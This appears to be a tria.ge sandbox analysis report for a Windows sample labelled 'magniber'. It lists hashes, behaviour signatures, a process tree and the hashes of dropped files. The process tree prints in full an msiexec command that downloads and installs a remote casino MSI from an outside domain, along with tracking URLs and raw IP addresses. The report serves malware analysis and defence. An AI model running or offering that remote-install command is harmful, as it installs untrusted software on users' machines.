Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
140s -
max time network
108s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
18/10/2024, 10:09
Static task
static1
Behavioral task
behavioral1
Sample
2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe
Resource
win10v2004-20241007-en
General
-
Target
2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe
-
Size
1.4MB
-
MD5
70b79fe6d6770d469cb3c649906614fd
-
SHA1
611c831370637cdd7fb8edd14baf921865d9a3ab
-
SHA256
9887f152a97431dc464dbf4aa0aba38d473c6e43e2c42267d15a4d5023f4bb1c
-
SHA512
eff6eb9ba973ea444d8d06fb45da539b99b98470fe92217b117f405f206b9a4d35c64463aec9f65274d80c86dd576bc5aa1630d2927c5e041b78ed16b56ec862
-
SSDEEP
24576:HaQeEZTi8OaYknOkaa+Yv4VRPonb/XOMRv3UFu+d7xB6RXRrK0i4W7rQMHf2MG:HacZTZvO1IFbfOMRv3/K2XZKWWoAOMG
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 3668 ~axco63p6er.tmp -
Use of msiexec (install) with remote resource 1 IoCs
pid Process 4732 MSIEXEC.EXE -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ~axco63p6er.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSIEXEC.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeShutdownPrivilege 4732 MSIEXEC.EXE Token: SeIncreaseQuotaPrivilege 4732 MSIEXEC.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4732 MSIEXEC.EXE 4732 MSIEXEC.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1692 wrote to memory of 3668 1692 2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe 84 PID 1692 wrote to memory of 3668 1692 2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe 84 PID 1692 wrote to memory of 3668 1692 2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe 84 PID 3668 wrote to memory of 4732 3668 ~axco63p6er.tmp 92 PID 3668 wrote to memory of 4732 3668 ~axco63p6er.tmp 92 PID 3668 wrote to memory of 4732 3668 ~axco63p6er.tmp 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe"C:\Users\Admin\AppData\Local\Temp\2024-10-18_70b79fe6d6770d469cb3c649906614fd_magniber.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Users\Admin\AppData\Local\Temp\~axco63p6er.tmp"C:\Users\Admin\AppData\Local\Temp\~axco63p6er.tmp"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\SysWOW64\MSIEXEC.EXEMSIEXEC.EXE /i "http://pliuht.cdnpckgs.eu/client/pkgs/lasvegasusa/Las Vegas USA Casino20160401094423.msi" DDC_DID=6478862 DDC_RTGURL=http://www.cdnfile.eu/dl/TrackSetup/TrackSetup.aspx?DID=6478862%26filename=LasVegasUSACasino%2Eexe%26CASINONAME=lasvegasusa DDC_DOWNLOAD_AFFID=NULL DDC_UPDATESTATUSURL=http://190.112.221.40:8080/lvcasino/Lobby.WebServices/Installer.asmx DDC_SIGNUPURL=http://190.112.221.40:8080/lvcasino/Lobby.WebSite/SignUpUnsecure.aspx CUSTOMNAME02=redirectAsData CUSTOMVALUE02=1 CUSTOMNAME03=remoteIP CUSTOMVALUE03=45.35.66.98 CUSTOMNAME04=name CUSTOMNAME05=email CUSTOMNAME06=redirect CUSTOMNAME07=version CUSTOMVALUE07=100 CUSTOMNAME08=camefrom CUSTOMVALUE08=http://www.lasvegasusa.eu/casino/index.php CUSTOMNAME09=adid CUSTOMVALUE09=NULL CUSTOMNAME10=affreferrer CUSTOMVALUE10=http://www.lasvegasusa.eu/casino/index.php SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~axco63p6er.tmp"3⤵
- Use of msiexec (install) with remote resource
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4732
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5a3200b5df76a97f81b897e374794ad66
SHA1ac90eca0754be90b872b026f80632230f6311524
SHA25653694b3b6e3db5a7f7ab76207347b1fe7e76cf56c76959c9d6ee23a8c4120f32
SHA5129397e2e2ead01933e043fc79a08d7ca3be601b06e48c6e483f9f8af3e2de1d5e417b4ad4966feb4cb7aac0e40f27a3f46c03c2f303f5acc1eda130f5ccb5caee
-
Filesize
21KB
MD5be345d0260ae12c5f2f337b17e07c217
SHA10976ba0982fe34f1c35a0974f6178e15c238ed7b
SHA256e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3
SHA51277040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff
-
Filesize
20B
MD5db9af7503f195df96593ac42d5519075
SHA11b487531bad10f77750b8a50aca48593379e5f56
SHA2560a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13
SHA5126839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b
-
Filesize
6KB
MD54846c4d6b1dfb069b5e7620455dc3a65
SHA1861717615bdc0e296dc817efb9fcdf4b3b325570
SHA2561280b2ac936e0ae5abd090d9c535335819724b718a36fdf1bc9a6ef995c79fd1
SHA5127be88f99b7eea34be0243ddde64160608eb0b4cc64562899a8d61b13e0a2f683a2e4dc08d0822a727cf57089f290fd9f4011bee35943036228dfdc4db2868703
-
Filesize
1.2MB
MD58c645ea0739d78fac6cfff54d951adb6
SHA1e0640553d719f7bb76488cb8ba8648c9efc5b609
SHA256f8a09c8fc1eda714ff13f67fcc057e6bd15790cdc1ffac37a134bd108c712ba6
SHA51241f0b90741076bf53b701def1f0cd0398982c8cec11ca61413a24c484912fad85ff8345b7de5776e7795116b3633154b310c809c92ef74a45527ab1cad332aae